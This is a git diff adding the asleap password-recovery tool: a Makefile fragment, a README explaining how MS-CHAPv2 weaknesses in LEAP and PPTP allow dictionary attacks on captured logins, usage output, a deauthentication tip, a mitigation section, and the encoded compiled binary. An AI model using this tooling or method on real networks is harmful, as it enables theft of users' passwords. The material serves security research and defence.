asleap.o genkeys.o utils.o common.o sha1.o +PROG = asleap genkeys + +all: $(PROG) $(PROGOBJ) + +utils: utils.c utils.h + $(CC) $(CFLAGS) utils.c -c + +common: common.c common.h + $(CC) $(CFLAGS) common.c -c + +sha1: sha1.c sha1.h + $(CC) $(CFLAGS) sha1.c -c + +asleap: asleap.c asleap.h sha1.o common.o common.h utils.o version.h sha1.c \ + sha1.h + $(CC) $(CFLAGS) asleap.c -o asleap common.o utils.o sha1.o $(LDLIBS) + +genkeys: genkeys.c md4.c md4.h common.o utils.o version.h common.h + $(CC) $(CFLAGS) md4.c genkeys.c -o genkeys common.o utils.o $(LDLIBS) + +clean: + $(RM) $(PROGOBJ) $(PROG) *~ + +strip: + @ls -l $(PROG) + @strip $(PROG) + @ls -l $(PROG) diff --git a/asleap/src/README b/asleap/src/README new file mode 100644 index 0000000..6ca148e --- /dev/null +++ b/asleap/src/README @@ -0,0 +1,274 @@ +asleap - recovers weak LEAP password. Pronounced "asleep". + +Copyright(c) 2004-2008, Joshua Wright + +$Id: README,v 1.10 2007/05/10 19:29:06 jwright Exp $ + +-------------------------------------------------------------------------------- +UPDATE - 2008-5-28 + +Minor update to fix a problem with IFNAMSIZ errors in build on some platforms. + +UDPATE - 2007-7-13 + +I updated asleap to include the "-C" and "-W" options, where you can specify +the challenge value (in colon-delimited bytes) and the response (ditto) on the +command-line. This makes asleap more of a generic MS-CHAPv2 dictionary attack +tool, which is fine by me. + +Why did I do this? Because Jay "F***ing" Beale asked me to. Nicely. + +UPDATE - 2007-5-10 + +I spent some time updating asleap and came to the following conclusions: + + + My code is much better now than it was in 2003/2004 + + I was smoking crack when I wrote this the first time + +I removed a lot of functionality that I didnt't think was necessary any more in +this version, specifically: + + + No more support for Airopeek NX files; if you want to read from a .apc + file, install Wireshark, and run "tshark -r input.apc -w output.dump" + to convert to libpcap format. + + No more integration with Airjack to deauth users. If you still want + to deauth users to get their LEAP credentials without waiting, you + can use a tool such as file2air, MDK2 or aireplay-ng. + + I stopped caring about Windows a long time ago. If you need this, + and you only run Windows, try using a bootable Linux ISO like + Backtrack (www.remote-exploit.org) and VMWare. + +On the brighter side: + + The code has 90% less teh suck + + Fixed an awful bug where passwords > 64 characters caused genkeys + to segfault. + + Added code to handle QoS data frames + + Can handle radiotap-formatted capture files now + +NB: The code to handle QoS data frames isn't tested. Why you ask? Because Zero_Chaos didn't send me the packet capture I asked for. pfppbbbbbbb + +What follows is the original README. Please contact me with any questions, +comments or QoS LEAP transactions. jwright@hasborg.com + +-- +INTRO + +This tool is released as a proof-of-concept to demonstrate weaknesses in +the LEAP and PPTP protocols. + +LEAP is the Lightweight Extensible Authentication Protocol, intellectual +property of Cisco Systems, Inc. LEAP is a security mechanism available +only on Cisco access points to perform authentication of end-users +and access points. LEAP is written as a standard EAP-type, but is not +compliant with the 802.1X specification since the access point modifies +packets in transit, instead of simply passing them to a authentication +server (e.g. RADIUS). + +PPTP is a Microsoft invention for deploying virual private networks (VPN). +PPTP uses a tunneling method to transfer PPP frames over an insecure +network such as a wireless LAN. RFC 2637 documents the operation and +functionality of the PPTP protocol. + + +BACKGROUND + +LEAP utilizes a modified MS-CHAPv2 challenge/response in order to +authenticate users on a wireless network. The MS-CHAPv2 authentication +method has been clearly identified as a weak method of authentication +for several reasons. A standard LEAP exchange is as follows: + + 1. STA requests authentication with 802.1X start message + 2. AP issues a random 8-byte challenge + 3. STA encrypts the 8-byte challenge 3 times, using the NT hash of their + password as seed material. The STA then joins the 3 DES outputs as a + single 24-byte response. + 4. AP issues a success or failure message. + 5. STA issues a 8-byte challenge. + 6. AP responds with a 24-byte response. + 7. STA is able to send data to the distribution system. + +PPTP networks use a straight implementation of MS-CHAPv2 for authentication, +which is slightly more complex than the LEAP example: + + 1. STA initiates PPP configuration negotiation options + 2. PPTP server (SERVER) issues a random 16-byte challenge + 3. STA generates a random 16-byte STA challenge + 4. STA uses SHA1 to hash the SERVER 16-byte challenge, the ST challenge + and the STA's username. The first 8-bytes become the 8-byte random + challenge (step 2 in LEAP). + 5. STA encrypts the 8-byte challenge 3 times using the NT hash of their + password as see material. The three 8-byte outputs are contcatenated + to generate a single 24-byte response. + 6. STA transmits the 24-byte response, the 16-byte STA challenge and the + STA username to the SERVER. + 7. SERVER decrypts the 24-byte response with the STA's stored NT password + hash. If the decrypted response does not match the SERVER challenge, + the SERVER issues a PPP CHAP Failure message. + 8. If the response does match the SERVER challenge, the SERVER hashes the + STA password hash to create a password-hash-hash. + 9. The SERVER combines the password-hash-hash, the literal "Magic server + to client signing constant", and the 24-byte response and calculates a + SHA1 hash. + 10.The SERVER calculates the 8-byte challenge using the same procedure in + (4). + 11.Combining the output from (9) and (10) with the literal constant "Pad + to make it do more than one iteration", the SERVER calculates another + SHA1 hash. + 12.The output of (11) is converted to upper-case ASCII-hexadecimal + representation and transmitted back to the STA. + 13.The STA uses steps (8-12) to authenticate* the SERVER. + +* If anyone can explain to me why the MS-CHAPv2 algorithm has all this + seemingly unnecessary complexity, please contact me. + + +Unfortunately, the MS-CHAPv2 challenge/response suffers from several notable +flaws: + + + No salt in used in conjunction with the NT hash + - Permits pre-computed dictionary attacks + + Weak DES key selection for challenge/response + - Permits recovery of 2 bytes of the NT hash + + Username sent in clear-text + +With these flaws present, we are able to deduce enough information to +mount a dictionary attack against a user's password after capturing their +successful login to a LEAP or PPTP network. Since we are attacking a +wireless network exchange, this is a trivial task with a wireless sniffer. + + +OUR ATTACK + +Since there is no salt in the NT hash, we can precalculate an indexed list +of passwords and their associated NT hashes. This is only marginally +useful to us, since we would normally need to run three rounds of DES +to encrypt the random challenge for each word in our dictionary. Not an +unreasonable task, but certainly time-consuming on a single mobile device +like a laptop or a PDA. + +We can significantly reduce the amount of time needed to launch an attack +against the LEAP or PPTP challenge/response by leveraging a second flaw in +the MS-CHAPv2 protocol. When a STA receives a challenge, they encrypt the +challenge three times, using portions of their password hash as DES seeds. +The DES algorithm requires a 7-byte seed value in this algorithm, so the +STA splits their 16-byte NT hash into three portions: + + seed1 = HB1 .. HB7 + seed2 = HB8 .. HB14 + seed3 = HB15, HB16, 0x00, 0x00, 0x00, 0x00, 0x00 + +Where HBx is the bytes of the NT hash, and 0x00 is a standard NULL byte. + +The flaw with this method is that the third DES output is cryptographically +weak, leaving only 2^16 possible permutations. This can be calculated in +a matter of seconds, even on older Pentium hardware. + +By calculating all 2^16 possibilities of the last 8 bytes of the response +value, we can derive the last 2 bytes of the NT hash (HB15, HB16). With the +last two bytes of the NT hash, we can significantly reduce the number +of potential matches in our dictionary file. We can also utilize this +information to perform highly optimized indexed lookups on our dictionary +file, using the known 2 bytes of the users hash as a keying mechanism. + +Asleap will examine traffic to identify the LEAP or PPTP challenge/response +process and will extract the username, challenge and response information. +This can be done in a passive operation with a 802.11 card in RFMON mode, +or through an active attack, where asleap impersonates the legitimate access +point, and forces the victim to deauthenticate from the network. + +From the STA response and the challenge, asleap will calculate the last two +bytes of the matching NT hash, and display that value. After calculating the +last two bytes of the NT hash, asleap will search the genkeys output file +of dict+hashes for matching hash values. With the matching hash value, +asleap will use it to seed the DES operation and encrypt the challenge, +comparing the output to the captured response from the STA. If the +calculated 24-byte response value matches the captured 24-byte response, +asleap will display the associated clear-text password. + +If the password for the LEAP or PPTP user is not present in your dictionary +file, asleap will not be able to report the user's password. The quality +of your dictionary file will have a lot to do with the success of recovering +LEAP/PPTP user passwords. + + +THE TOOLS + +You will need a dictionary file, one word per line, to use with asleap. +Please don't ask me for my dictionary file - be creative and put your +own together. You can use the morewords.pl and strip-nonascii.pl scripts +in the scripts/ directory if desired. + + + STEP 1. Generate the database and index files to use with asleap lookups + by running them through genkeys. Very straightforward: + +$ ./genkeys +genkeys 2.0 - generates lookup file for asleap. +genkeys: Must supply -r -f and -n +Usage: genkeys [options] + + -r Input dictionary file, one word per line + -f Output pass+hash filename + -n Output index filename + -h Last 2 hash bytes to filter with (optional) +$ + +I typically use .dat and .idx extensions on the database ("outfile") and +index file, just to keep it straight in my head. + + + + STEP 2. Decide how you are going to collect LEAP credentials for use with + asleap. This could be through a live interface in RFMON mode, or through + a previous capture file in libpcap format. Take a look + at the command line options for asleap: + +$ ./asleap +asleap 2.0 - actively recover LEAP/PPTP passwords. +asleap: Must supply an interface with -i, or a stored file with -r +Usage: asleap [options] + + -r Read from a libpcap file + -i Interface to capture on + -f Dictionary file with NT hashes + -n Index file for NT hashes + -s Skip the check to make sure authentication was successful + -h Output this help information and exit + -v Print verbose information (more -v for more verbosity) + -V Print program version and exit + -W ASCII dictionary file (special purpose) +$ + + +BUGS + +I'm certain. Let me know about them. +While not a bug - a word on channel hopping. Use channel hopping only to +look for networks that are running LEAP. If you are always hopping to a +different channel, you are likely going to miss valid targets. + + +THE FIX + +LEAP is inherently weak as it relies on MS-CHAPv2 for authentication of +clients on the wireless network. Cisco seems to acknowledge this fact in +their support of the Protected Extensible Authentication Protocol (PEAP) +that uses MS-CHAPv2 authentication within a stronger TLS encryption channel. +Users relying on LEAP for WLAN access control should consider switching to +PEAP or TTLS, both open EAP types submitted to the IETF for standardization. +As a short-term measure, LEAP users should immediately audit the passwords +of their users to identify weak passwords. Weak passwords should be expired +and replaced with passwords at least 8 characters in length that consist of +numbers, letters and special characters. This is only a stop-gap measure, +since an attacker with sufficient disk space could create an exhaustive +list of all printable characters to use for their dictionary attacks. + +Since PPTP uses the same MS-CHAPv2 algorithm, it suffers from the same +weaknesses as LEAP. Microsoft recommends users select very strong passwords, +or switch to a more secure authentication mechanism such as IPSec or L2TP. + + +QUESTIONS, COMMENTS, CONCERNS + +Please contact jwright@hasborg.com with any questions, comments on concerns. +My PGP key is located at http://802.11ninja.net/~jwright/pgpkey.html + + diff --git a/asleap/src/THANKS b/asleap/src/THANKS new file mode 100644 index 0000000..8fc336b --- /dev/null +++ b/asleap/src/THANKS @@ -0,0 +1,11 @@ +Many people have helped with this project, please let me know if you think I +have forgotten you. + +Abaddon - for AirJack and for being a badass +Dragorn - lots of code support +Bob H. - inspiration and being cool +Rob Timko - lots of testing, packet captures +Anton Rager - packet captures and testing +Jacob Brown - code support +Devin Akin - Win32 testing, inspiration +George Ou - PPTP stuff, insipration diff --git a/asleap/src/asleap b/asleap/src/asleap new file mode 100755 index 0000000000000000000000000000000000000000..4c208e765ffde32c9d760e49aedd7bbc5cf91ab0 GIT binary patch literal 227660 zcmeEv3t&{$o%gwSCX<^7FbN?H8g-CCq6QKnYQ%s;5)dRRRjSt7<~fjPNYc!NhxHMK zT5GX^*6nI*x3sle+C_tk76mjQeQ*2O{o1YD&uwYfS9jg5Td1|WR=(fwJnr0i1*m|# z`+cL6d;aJA&;R^i=YRg^+&h=s7d9`lY)e=|e{A8PWQl0;8@SdAU#q`g1oKb|qoq=u zEzUxHK(<9u%dhM$DdeHvkFO7PXwzRI%23BI+pK>4!DTVp)mMlRD)?o)#KBd7w)%=^ zYJ~iXJk2Nu8x>-K{tByD2zv{#1G?P?{Z`OdUtys?zak%Be`n(5_u-oDL%D+48a#FW z>YncQ>YmP-gN-P3%!>ETsu7O~>rD@iDmFw9pg_f(s;<^e`npM9f2^+dWL%4(^M`O9 zC!!B8!__aMHu3UA)S*rSBI=LeS_oNh!LwH|T;$2Zr9x;)Yc z`f@)7Zb=nrOMb?yi~LKy(_hVpcBB4J$Cv)X&l&iR!*>D!{h=K>ho@+`QeWvi^ut;B z(x2!X{7l6+i0@hWhVh+^?|Jz0Q;zRUSxWh1kq`Ny!tr@fU6cV({^vCKM+Oedf<;}+ zkM4hCDr`|M`O)obQ(>ESkssA={YFH0OZZGmF2vRHFaGHEucX5Eao=$n$~_* zDs0nc@}tN9P8$57H25jV6Goku$GQY?O%fIhP?jIf??@_aUyeEcJnJAB=SQWEIdn++ z$X~LJAJyMpB^K=4LKyhe-(xKEqxp?1$iUW;H29aPu>C=gz3A8FBD#1PLRLNK!H(9t zRDAIU@HwZAyn9mHt-I6U@2A3IG!?cN>GhEEU_9HzB4fX=rQ*vuB&(FX)|092wuw7N zUn|q(yFC?OylLRDELdiK8hvuTeh5wUPsWljNi_UX~MlTtAC)oH?cxMmce+JSP|=6LE;_#>%@wcF)%L0 z?`%u7LDrkVT}NVFf2^fl#Cvtmc%m%izpjLt6kqN`Vy8eVp8o=&Nv2`NWE9m-+}`bl7AM@LKC zm~C)XUuS3c9B^vnZCNqUwkig@ujoTB;+$TYMw}6pEn`nutOG|q^-U4+Dumxo_^md9%o0l{+w#j;e|{&c}2g;&sVctx&Kz$@q#@(OxI zyhagjcx}S6!|P(C0K7J1=JL7>=^3xfktXqa9l|rOHy}jv+KNRymlci;I#)~ znb&@#1iU7YR`9wODFv^$U?t*pNQelp8<0lvinw_euN#p*@wy4=5wG_l{o?h0qzk-0 zh%|%OEl9<9eF!N9uUnB`@VX7D8?W1urt!K1DITvok%IBM8>t(wqe5JKdwqqlXFOP2 z?|b0D)ERpY9~jv!f+Nq03S2`7XwsU+L7$AlN%-74fzL4Tdnxevp;Q7FZHu)8SM{xBJ$O} zi)mxp7d&)uZ0`qsUI1=nXb;Pt*?YLq3BKY~<%P zVjn&XTCcFYp6%!(qLovNgR|aZ-N-)JA77TyhxxVuTm!tS;cpSQ2DsI&tf#Domgy5| z5SFH4`h>iF5RRt$Mqir>xgx{h8?sdzolpmq9rA>ETV% z77HJ~fB4%X3>gj(N7gkxyv4Mo)$auV&BW7uRDh2Vb?o6IL$8YF$VNj8d`Z2EXc+nk zttUP3md~rkeaPTCLBGtYQu`<#H12kTYj7eB)^h0IOYge|2lTGsI3uGXgz^%Who6JL zX}gK`;M7g%kNL46(mC>iw(kLnr*S-XlD4jF5W%wO;eR7e#4ie=qZ*bqe+SIi9{xJV z;BPhiYW_aLau)tNk0XC?W#O+dmA~ylg9DxYm509va`0DpjQoYN>2C~QKi)pJPs)+v zmtG&+j+ip*fENcoW~b_C#Oq_P5?9;s*Ro%xkJ-nlBPW}Vl#gw%&BEUpHq4Xf0*b#p z6{j-!JJB}Gh*w&cW{)gk>JIbqOkSaHo@p?qhIvK(G+tBfu)WjtcY=8f*zUoXbVM{X z)l)Z(Ye;0n_94-VwN%DvWoz$TKK6LGJtN+M-zLp3R(#2qjDx6OsOx#QLw-&DB3*Cf zHuab4dQXho?unUsA7{I^@0~1Xi6KqL=zn9xxb6Fm&JFLFACcVgefx_BA2xbO@~35H zKgHMfx4p49i!F}02Ev~jHa6^SC4HIt`x&xK57QWZ5&GLr$|#M3TN5x=zzkI1Sb*z(IQ$zFavq5)ck# z?IaH7NinaV0S!ZQOQUrrV0R3_m{Y;2PB0*G4KMDR_nZhpHx|~(a}bZ7Cq3#&&yQN< z12xD8>U=tP&6Q_?uGBN*DD{r~s0woFe8-i^;1oipP&S!hS7{sa0G=-+KQ8S?%SO3M z@`zm9^dDoK(qkEiddj^ahe_t z!4IN@RURvc5up1YtbfiekCva!zO*rO=14yGW;IjA*Px47^jvXQaH?g)Uxz$;fqo!IrJ?~j^F@B`t6vJU zAI6e<3Dd@YVqtJPMNh2Ei$ z>MoYmTv7H{^|KDKJ{UcG8?Q;fww4dWe~00}Gxk{5CFk@zYvJ1);M+qZk6O3Dzt?L2 zz8kTv4&Qowqxd#~*SkqE(tvXhsoT(cIYLwn^O|h8hS)A`ll2d8z+HAE&HK9k*v44KA8HtWW7Kh?AA*<5!`u1jJ4oX z5%|+)_Z5{aW8VB0FnziTHcFUSl-?J7$niionBImsy~yY*(;vm9p0+f9 zbY-WH-JQc9wVmjXq7HMl9=;Jp-q3Uu{;2vYf0TNJo`xtlWwo>WBlP9e59BBYoGZD;2RYzeP$KQwjDmVZ0N9z6O0FCO)77*rv=YN9(gBma`}p9J=%cv zXlNK~4%Vc#Sd;GdCG*VZk%Lzu2d~sQc+JSSkdrf(QRi3}IR^8V5#*VyBM7-dfQci0 z1HSSaVAoeF-29Sfe+BY>A#kNnY-(U0gN&pBGXc3fa?xVKZhIrv2K(?3#*FB8Kiicr zjZF*wIVLT%k41~akguAWMsXOiB#c;cH24!VpSXPsK7GO|YgGFt$Yk_oLqA@9y#u%w zx{>*fS2of>KdILodQ7*AyDx!VoV0P?;y6d3SHUqiHB!go8zz@VA5#x|h;QW3g~17s zhVY$&^97ZQi^kye8sxo<4~Wrk%XY-*TKn!#<)D==7w3)9pC58~_4hX5Bgqx!m|8Bb z3)yU`aI{Y*_eCjwYv|adr)BiXat;~6x3nL0aL)0diF+RY9CXrk#=OtW$rK%7t;r^T zgmS=U@`EuP7Ccbm^*cPFIR;r`+LNedc>9}=rc!>w)Mo8D96^Z zg*f#Jma(PYz^QYhsFXNpI}WjBY+A<_TQX>o%`sw2PW-WAOO!OBFUA(Hz8G8TonYbF zvR&SPQS=EPL67NnVQh&?Ix4n!$6;(al3h%EIEL8b>caFr>ev#o9g#ZEU0TwYaL*xa z9=Yx5a)%*zm~xxBffzqQ*uf#l?Cz~VuMB=6`2)V3GpJjTI#=`wH4HXuSIpfwiq$B88LMka%6cH#XUOq5jT(z z=BJV$p7q$lQDIMsiuTYn;VT(}EvDgqI_gozx(xZ$nx%5R3c!omcT~SX4HZ(*rw{7h1PC=G44(F24Nw9PTa~5+s41CFpcil%j z_LoY2ea_NKlFA=S;JEV4Bf_>w!`@9Bab5*F%UG{t0`qPeBjDdM?*P5cY{r-o>K8d1 zcuDGaV}o@IVdx}}SGhlHdh~6x7cLIwJ*?}wkCQnw!w+J}5Mj_y*PER0s86>`RdI0K^SV#E3`4FA#x4zh zLnoDfqkkx6ek5fE{qb^cXOa1iEc9jk0d9((Hznzpl2=#WM*kgpT|fSe&WpJe%9m6q!VW{70G@)t3Br&ws~-t=faU=%Ke=_x7?5W zY|oJob5B^&Lfu-)gBuIZc{F7V+;c+vS`Qz*|0eANzr%Ak$!7_0?uBPiihrZ}<2f4M z-G?)iO*kvLKdJXD&pv?{*iXhH6DLz+?qj@vB<&3! zK&;980mlQ5e3n4T_E^;5XgFbD)hGD0#$TZBM_v%ZRJiI?W?+Sp)i5Bh4E0*nXS^9Pq%e z8~&8+kHi0zzBmSWkn-xbdd6(ipJyg|j%2&1o$;&-{pQ$gRji)VIX-s#K4m^hcKcd# ztYfm9;_>*{P0~6pcGJ%nf|kiSYA7G)y!1!SZ}xMZ@#Rt%`hGTYm`Rv>G6t$MH@7`~ z4$0pHY5x0-PiFFvk@qOxj*#~lKa4cuUZLh6`<*;b{Np^3@sD%rnEd?M^kt{+LB@YR zOC3c_rLT=AP+y%#(w9fKg&y3~Ji28}mbx|V$FlEr`(S^H=UM(!(ALR4lcZaP zdnM4D$!VCw%2*g_6c?b3_13J9NgF#srF-dP4SU0CEqi>czE?U=MC-V(TTJ^LbL=~M zpRh^)NN1c_1F9rmd-$B-kUleLmGe>Ft7RMR32;A8Sk4K(pXYr<*%x!MIMuf%EMh;j zOI>B3&k84V9?G$~XO*1<8aVz!wJ-9>1Ca;gC#e@u;bcn%%&B1~C$&cL%*oIzOdky=)nHuK!7YM0O0rneU+`*W|C(f>?OyPc&y;%N_O zXgRw7Toq^%^G9T8w==}DH^V8o~LEkOA%>#^xP2X+`C1{Gx+La zwyCwK6dt9xXpR>*IN}n+@kVo~~k0*wbx!$Y;8eiHTI1XX>KtX!F+Sfdx zpQlv)yytJ8aoE-PR91aLe?OB*f6g8mJ^&rcT$Z}g{!$G8sv}K*RK4><>rv`$#N*%h z>HPuf3SL9Qjs38SE6s+MS2-t5B}Nw-)l$bFS$4ir-q8=WeYW^>&VWpQqlx!O+1Nm9Q1} z5z)xP@*SvOOI@LELY6vTdL3Z;n*I&t6EB*xJSR9&<{Hq8)IIhYd#V~mZLn4RE$It8 zG$i{r?EG8qwV`A6(a)sdFVWe^(2!HdHc$~{HOHw*`ws~ z(o`Owtj|U}jmJXIUJh$#Rvx>u(b2p;eH1*(IB(93y?TZpR>G%$;_5C%|0Nf&o;a|v zv^8jWb%(VqQ+MgQ!dZX4N5*$x*H+Ta#Dl*l?UfA=e)!~0Go}#o8MUO{!TXHoFgM1a z0Xf1P8|NB~@pu+j`LI_foQvR5>I^tl9vqIp8*R;`;T^v?Sfbzml8q<$Vh4W1G6r85 zKSegLPY>@e2o585NSsAazK!vFI68Rab7XalMR=y!++z%@HvdjJ2O6y*8DFxDt=jF| z@%xpmI#cJ~q4lJPcv#BojD0HhnEMc@FJ}E`_T@jzYpQ>I6aJj(A8Kx@-}D$d=qKr~ ze=b0O_Wm{qdimyZqjT6I!Ep?YdimSsZ}xC4FmXw>sb|Pyx9!<@Gc@VTI_J`{)Xg(n*@hU~%CRu!bY5j$|;_?;1bB$8L)@VS0GLw*Rll=czH+%|noua4=<(QNb$k9sa{kT^cECW!Tg z<;q5}7VC_>$Bg^1-KdxPhkhd(_jc43=<*QCXR>VCu_i`PmbAP&;doL$nWvY$%s!ZB z?z3Z6$dO>%l>Cx7y5EAx!kra(79s+9{l?>()7Tays+eF+1_wEU!W=V zU<+fTo!A%2--yYv%=00}=a^3@UW#Np#;8HOsNs5n^EIh2jDh*J^A^ySG0pTX4*KQ& zDDe0Jil_V8Y5g9`(og0}rk|0~GjC2IJP*s5=XV%mH*sJuGp2l|9dO#1E+hS+Zec{=7La_mVTBMkb?(bZWf_%h?*9z+f7Z=M;+ zg)=X_$5`f^ITsy17kZ?zEu>?8G z82XU+K92&IdXct160X)yoU9xP7dD}uj+O`N>u7nP-j0d~>JRz}lV5#r&($5gzY%RR z-m}f%)pUr%+P964`5Y;I!QKA@pL_lrNOp{Ue#YFzcm}irc;ONJ&TQm4tfdW4ZQX?DY&jO@Jokv44?iGG8-TAmmMH`9)WljX9?J+?nhH{0TGm!>>?Be04VP)Rrt~14b{FM=$kqV5Jv%=AiYG z?Kkmb%=@y3NC$GsIWFmIUq?9t*(;o2`Dw&K4jX|SA?A6=HLz!^?q@ylXyY);xPR;B zpJ>0Ebyyq9w;^_^vy*Z&*DKftpBREZGkk*hpc$bL5Djad@>M)@h4`Ik_IO7aBf`Eq zR=U2VVfVZZ^Cke_`mV%v*9M$#Wc)7UPdG=i@eU_Dtkwk^?{Kp54ksJGKNl4Od5bzf zuyKP{ogXOQDL3bNQWmZPlxujuUCA-U`q0#&4p|bM3&tlfC;ZSs7TeoZ5?k5+pIIK> zr|Uo)K3HLL*J1DmUgVmg{KLjGKQ`XwWV`QjVt=d+qj)~L9&28mUh|@u6HS~uk*23c zO|b#B7v6T9OGsY?zT_RW z_&kDHd&0ye4UU0&nS&a>HX#;hzW+9jZ#lO#pUnTL8)L(1sOP<6oB@=7hxE11e`0hF z++4i>p7>~&^dWOzw*H#li-w*PoGkNB^pkUte9Mp8FW`M?PuDZHAtt%?2A47<@nxQ_ z@Kp@sd*>EJHavA8OAM1^p+9X$U-8aOH@Bx=A&1Ji)OkQ+vQI_Jgwe+zTpkN58hJ^vldf9AWz$uT@Gke*BH!SC8QOrXrrp-<<8!q8bUWVvpvFq;@7L`WIok7d`?MVG0o{I1 zj`n=rexA2o`+|H1lPVDuG+FEAG!h6CBdRGEndBm40F2wUXi zihWT?+7CDp;_x2G2!3w?9)hk9bcXV|*5PY;@;~WQdS1JG8_er}B^}U{z6D=kyrgf2 zSx?^p95(G(&!gu4hV~2jUPg~k+FkNP)QzbLwrfkY&E8-?e+B5J=te*=$oq|Eo8Zqj+8!22*f^>(tp##`@8*5e#1Nyne8 zhfR|8d8{A#8s0Da*Lc6|SMjcbhp;#L3htZZ{jInc+Ryig$Teog(-r!@^D^=#0e{-LEN#t^EGo1;(0e3e2{zGZ;?m(x7KCGK7{Rv&o5vuN6h@dTz2yy=#H^d z`n9>=hdRbfQzz#T>KLa?okO~)EA!OJ*n&FpZSZ8ALLGHTTxl=-&hIRgWgE(jOWt}( z+wh`)A1G-H`>cI9V~OJTl+$&+)Gf>P_VstxHmrMqb5o9I=-Z(?@h*@dH`XHdV!Sf) zkACDs(N=tT>kS`L{*>`D`7r#a^Fdu`-c$G}hCZlcqXY6`WT8I1^@b05)qJS&GWjt4 zr}IJGEBdMWpk0_>8y%1jBa6FUXgwJ|4DM9ms_`=UF#MV0wS|`zPMt>Im^#|lC zIQ2uWf<1@C-FBzUCk;)7>wW)0=K6Kw<8_nFsSQsmR;9|MY>--~a-!UF`VspLO>h46 z-p#Wn`OXu=Q)L!=DxXi4Q{sLAH&f^&;((`iT`^h# zuid=2CnKBjm7~l#Q)C+}=j0g1-jv7qzE?J{|ERSq)kfK3sx*Ux6vErG2?h;^ZJi8QQCS}nZ<6}mN{h$dt_6%M;%L2WE*P_ zcQmoY>pyxuOIhEmvdE@wnNv3IRgK*g?t2qUy#6EkNwZtF*r{!qQ?^QvYzkM&ru-%| zP8#3B89<8N-fb-L`j48Asq-yc?9{f*DO;6CHifHXQ!-@A=El-A+1_m|@%oQmw^Dqv zE{jiUTjrFl#v_};RkA4=GG$Za0w+zjcNc zjQh$isdiaL#Av-=jnEPx3R?QKYHCti6zR9vf47IY~K7^*Qe;!(rpl&mnNv1z{;hD8YpwMFWK(k_RW@zQoU+lEjBE;5+3jS<60iT%W|2+tlPa6GWlq@` z1B`46SIKs=V~N*)>axfd&QhmsnNv2#ZX=t*RkA5LGkwyv?Qzaay#7<4MUHH-Q`<79 zY@8=XHifHXQ!-@A=FZ79*{FA|kCe5W_o>LY@rmgu8y%`=XH46j!3gd>uwC)fB=5r- z-lVu`c}Zm!9fVa~PIvtl zwas(N>&?>@u98>TI@7+!HdqH!yoMzveEb?lb=ako* zyDMBJuaYZMUSpedd5<=yp}b~JP+scE%(--b_WGXINlGqIn?+u2^PKWlVLYijDl_{^WO}e~Cn-3jJyz=^<_JI_Cmg1(( zX>IeI^459eRk%uCC0C}rYFyx)gm~rkJ;hI|eY3@EZS$P+)_detxJq6nSEjtmuQKI5 z5%J3Fd*Lj;n=NK*o9C3*yJt|iN?s*bro3uiXUcmb;+5C;^tzhj&uY$PwRui?z558| zA4=Z;3h~P8dwN|>kyr7UDzCPAPIN|~BT`PR zzY15$`(Ghmd3~=Yi@Ykvq{^#po>N}VJ0q{cRr3Bv~7W;;?)M=aNl$ZIdkyqg=d6lg*<#l~NZT&qF`IXoA^tzf7ud>B# zZS$P+diNj-SIMj7%9Pi|Nt5?POC|o74k}FeQcaEpYdm{2HukXn@ zmuBB=F&(P~X%C4!hNzu~grM6{G+3GNsoX^M!6|Ry^ z(a*G-(kXE2?G)LLHs(+^2e*%YplP05fco6&i?Y+TE= zK2p{X{=R~8t2QN%;yqP1um6Oz_+Peos%@E5Ht+sG;VRjb44JYSou|uow7C!M=9N?V z%*lPu^<>8qum7m^Db**Hu2bu@Epyt6xWWVYB@r($PLpUky?JK3@1 zWbWUNUo0{2RKR;j+?+toX}Mc6s z$;9P3q@i1^ag~2$;xa}U+@Qu)b5!Hv{VI$vvTg)>Hk2hTl(|kz9#CdJB6&x-Sia{1 z@3KgHSBiWem43g4%scCSD;L&wOv8I-)$ifzeZT!-ZO7ky0wWh>UEA^EJAgHQ zaCU9S^3{N4ZddPn?(b?le)R@mHy_#-l{`B1^No$kGH}W?UwAic_V-D7-@SqNn9v8M zZg7^N{Xe*`ra@c+8L1Q12D&KM$a%$oS3K3;Y|DWs|2>2P_H%I>ly3FEF(LbbZ|dC8 zU|Ekfxgl*Vo*$4e)sA;;RLS=yx$nP|HiX|1PtxNV8T}CN6XW{}joqh>@Ewin-9A;r z-R_RIH|=(vP`TfNo1cSzxaj%)*+=m^R# z+$b(V*~oA%-kOo=ll{#d|QH6_K-G)=0_W!=IWW#KiMN-Z1KX z;kOFT3Lbvj37#8e{V;I(ZZ;p@)5rKoTKo(@FogG2uboQ#NJz|6waLHr75KIKgP+;t zd*HxS`7XEJc&F2|c$d>|5%QM^i6BfO?N(G|X8dAO@B-W7`jrYKXz!-=j~xT7o9aTCW_)pk=X9Oo!)gJ|eYba%9IknozeIO;n( zV)6Kj!5$Fr3Kv{CnCKr&fIxRV+!gET4|n%skX5QfTW@DLwzfL~)YajFWdq&4iSX*! zKzm<2mV#Hgst=<9hy2O1!sC?3>P$Zwe|GGdRNB6 ztJ``8IYPLjucxnfW@oIYdsTNL)){VJmylYyib{|7!wyG*d~LX3!PSjRmV`UglwBF` zk9Bmn^@RHe2l^q?+0v#3gYnovZ`&%^+x^fddi%nrMHEo8(70w;Vrm?>lJNAJ*=u<% z=#Rw)vf!)w0WFFekoXwOREh$ZVv-?A(_kd4!?K>fqcr8VupTtEV})bAo!z}F!#DNz zt?8Y`HuCB6sn<7@f`Iz1iJ`xzAJin`Iav~cxnu?JQhz7e|k?3hMOK|;|Ev96071+ zR)7DR4}mN8Os#8d>+S7JgxLb;GLwotatdSqz}w;ReJebzv(jj+7{Fu~SH=4K2I!Ek zKy+NVMCJ6(v%{E5aNCuzc%rMVS5D4VZELgQ&ME{gHT1$O7a=T26)<>69TY4`Bx0)& zaUd&Z_CTzo4|6Bn(-u#JXOmIdn!0c78|>)}Q@S)9Ib#f_3Q~v(QfAk$s*NYj3Wu-m z8$c}TPGGWh_RdIzVbGhxeS?WvqTuR8+koW6Gmm=u`feKRkCRys4=bQu#KLrU0eRpp z2mRREe$0JJwXSb)z@wS&I7R}kB{NpX!YjL1!%~C&W3nX{uI-NvbjNx-U=CtMZQCQfh0&!<}*|O!!JTo)1%_wIs__}t%RaY#z;?lXGryanA zgs^si*xHU*tTP_IYEffYhL;sO`f^zBxXlX}j6Lq6w(cGV@l^=dTz$~p+h6jnqq%I8 z1h3Meq$=EwsNUHZi%X}FmIyCtk^#DZAhx=@Z!q4oF5K6SShpH#8Hjyk5OWF+g1|>F zu7)E^mc3)jA-wva3|Ffa<@k&k4%0o_R<^-_axLV_HWNXnr%ld)xLNJemNu;jwFoM{ 